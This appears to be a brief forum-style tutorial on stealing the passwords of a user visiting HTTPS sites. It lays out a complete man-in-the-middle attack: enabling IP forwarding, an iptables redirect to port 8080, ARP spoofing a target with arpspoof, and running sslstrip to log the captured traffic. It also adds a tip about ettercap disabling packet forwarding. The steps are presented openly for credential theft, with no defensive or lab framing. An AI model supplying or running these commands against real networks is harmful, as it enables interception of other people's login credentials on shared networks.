To get the passwords of a user going to an https site, you need to get around that SSL encryption.
There's an app for that. It's called sslstrip, and it's included in backtrack.
Also, as a side note, ettercap has a habit of disabling packet forwarding when it is run, so double check your settings after you run it and re-enable it afterwards, or don't use ettercap at all.
Here's a quick and dirty tutorial using arpspoof and sslstrip. Both come with Backtrack 4 R2:
This example assumes a wired connection to the router.
Open a console and type:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
In a new console:
arpspoof -i eth0 -t (target IP) (router IP)
In one last console (So many consoles! I said quick and dirty)
cd /usr/bin/ && ./sslstrip -l 8080 -w /root/sslstrip.log
To view results. ^^^